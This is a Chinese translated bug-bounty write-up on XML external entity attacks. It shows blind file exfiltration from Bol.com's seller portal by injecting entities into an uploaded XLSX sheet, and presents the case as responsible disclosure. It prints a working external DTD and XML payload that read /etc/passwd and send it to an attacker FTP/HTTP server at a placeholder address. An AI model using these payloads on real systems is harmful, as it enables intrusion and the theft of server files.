1. 程式人生 > >(翻譯)一種xxe盲打的騷姿勢,通過在上傳的檔案中得到結果

(翻譯)一種xxe盲打的騷姿勢,通過在上傳的檔案中得到結果

背景 在之前的報道中,我們瞭解了很多關係在訪問者瀏覽器執行程式碼;反射的xss和儲存的xss。此外,我們快速檢視配置錯誤的伺服器設定和開啟重定向。 今天我們將仔細研究從伺服器竊取私人檔案。

挑選一個目標 一如既往,我們需要一個好的目標。一個在荷蘭的最大的電子商務網站 Bol.com。他們處理我的開放重定向錯誤報告的方式非常好。快速回復,正確修復並始終向我傳送更新。沒有麻煩,沒有NDA,快樂的語氣。公司應如何處理負責任披露的完美範例。您想加入的公司。

在我們開始之前我們需要知道一些關於XXE,LFL和,RCE。之後我們準備好了

XXE,LFL,RCE是什麼 本地檔案包含(LFL)是在伺服器響應中顯示內部伺服器檔案的過程。遠端執行程式碼(RCE)是在伺服器上執行我們自己的程式碼的過程。 經常一個LFL漏洞引向RCE漏洞。有很多技巧可以用來升級LFL向RCE(多看credits,一個非常好的讀物) RCE漏洞具有很高的影響力,因為它可能導致完整的伺服器接管。儘管大多數伺服器在訪問受限的帳戶下執行來自Web伺服器的程式碼,在作業系統本身中偶爾會發現缺陷。允許一個人繞過此特定訪問限制的缺陷。您可能過去曾經自己使用過這種型別的錯誤;通過越獄你的iphone或者root你的安卓。這兩個完美的例子都是通過利用bug來接管作業系統,我們將此類攻擊特權稱為升級。 XML外部實體(XXE)攻擊基於擴充套件XML檔案,以便載入本地檔案和外部URL。它可能導致LFI和RCE,因此它具有很高的影響力。雖然發現在2002年,這仍然是你現在在很多網站上都會發現的一個漏洞。高影響力和高發生率,讓我們瞭解更多!

可擴充套件標記語言(XML) 在我們繼續之前,我們需要更多地瞭解XML。XML是一種標記語言,允許使用者建立易於被計算機和人類閱讀的文件。雖然有人說它是落後的一種語言,但它現在仍在很多地方使用。 在這裡插入圖片描述 如果我們仔細檢視示例,我們會注意到內容將出現在標記之間,例如<body>contents</body>。因此,我們應該轉義標籤內的特定字元。否則,可以注入一個標籤並操縱整個XML檔案,沒有人想要這樣。預設情況下,XML將<>&’“字元轉義為類似&lt;&gt;&amp;’&quot;的實體。因此,我們仍然可以在不破壞XML檔案的情況下使用字元。 XML有一個很好的功能,它允許我們通過在XML文件中包含文件型別定義(DTD)來定義我們自己的實體。 檢視示例影象。 在這裡插入圖片描述

在這裡插入圖片描述

利用XML解析器 但是如果解析器允許我們定義檔案而不是字串呢?結果將是實體將被檔案的內容替換。通過改變<!ENTITY body“Don’t forget me this weekend!” >成為<!ENTITY body SYSTEM“file:/// etc / passwd”>一些解析器會向我們顯示/ etc / passwd檔案的內容。 除了LFI,一些XML解析器還允許我們載入外部URL;只需用http:// URL替換file://字串即可。網路伺服器將請求此URL。這可能會導致稱為伺服器端請求偽造的攻擊;您可以請求內部Web伺服器,掃描開放埠並對映內部網路。您是否能夠訪問包含元資料的本地Web伺服器? 恭喜你,你最終可能得到$ 25.000的賞金。

其他可能性是通過PHP模組直接RCE和拒絕服務攻擊。

上述LFI攻擊僅在我們的輸入返回某處時才可行。否則我們無法讀取被替換的實體。如果遇到這種情況,可以使用以下技巧來洩漏資料。

XXE盲打? 通過HTTP / FTP請求外部DTD洩漏資料 所以伺服器會解析你的XML,但沒有向你顯示響應中的內容?由於您可以載入外部DTD,因此您可以將自定義實體附加到此外部URL。只要URL有效,它就會載入附加了(檔案)內容的URL。 請注意像#這樣的字元會破壞網址。

XXEserve 捕獲我們的XXE請求的一個很好的工具是由staaldraad建立的XXEserv。 它是一個簡單的FTP / HTTP伺服器,顯示對我們伺服器的所有請求。它也偽造了一個FTP伺服器; 由於字串中的字元,HTTP有時會失敗,FTP才有效。

快速開始 1.在面向公眾的伺服器上安裝XXEserv 2.建立包含要洩漏的檔案或(內部)URL的外部DTD檔案(即sp2.dtd)。 將x.x.x.x替換為伺服器的IP地址或主機名:

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">

3.將此外部DTD檔案放在XXEserv目錄中。 XXEserv充當公共ftp和Web伺服器; 所以我們現在能夠連結這個檔案。 4.將XML有效負載傳送給受害者,包括我們的外部DTD:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body><r>&body;</r></body>
</note>

5.觀察XXEserv的輸出 另一個報告的XXEserv輸出示例。 在這裡,我們通過FTP載入外部DTD從本地元伺服器洩漏RSA公鑰。

我們需要找到一種方法將我們的XML程式碼上傳或注入Bol.com。 好的第一步是仔細檢視他們的“賣家門戶”。 大多數情況下,賣家能夠上傳與其產品相關的影象或其他檔案。 在這裡插入圖片描述 網站的這一部分允許使用者上傳準備好(重新)銷售的產品。 快速課程荷蘭語:‘Aanbod beheren via excel’意味著’管理Excel中的庫存’。 在這裡插入圖片描述 此介面有三個步驟: 1.下載包含當前庫存的Excel檔案 2.上載更改的Excel檔案 3.檢視上傳結果

庫存Excel檔案 Excel檔案的副檔名為XLSX。 這是Microsoft開發的一種開放檔案格式; 在幕後它是一個包含多個XML檔案的zip檔案。 在這裡插入圖片描述 讓我們解壓縮XLSX。 在這裡插入圖片描述 其中一個XML檔案包含工作表1的資料 如果我們開啟sheet1.xml,我們將看到以下程式碼。 在這裡插入圖片描述 假設我們想嘗試將/ etc / passwd的檔案內容注入到Offer描述中(這是單元格G4,請參閱原始Excel工作表)。 在這裡插入圖片描述 正如我們在影象中看到的那樣,字串’Sample description’由id 108引用。讓我們將自定義實體新增到此工作表中,並將此單元格值替換為我們的自定義實體。 在這裡插入圖片描述 我們儲存檔案,再次壓縮資料夾並將檔案重新命名為xlsx。 讓我們看看如果我們在步驟2中上傳檔案,讓它載入,並從步驟1再次下載檔案會發生什麼。如果XXE攻擊有效,它將更新我們的示例產品(Excel中的第4行)並注入檔案內容/ etc / passwd進入此產品的優惠說明。

結果證明 在這裡插入圖片描述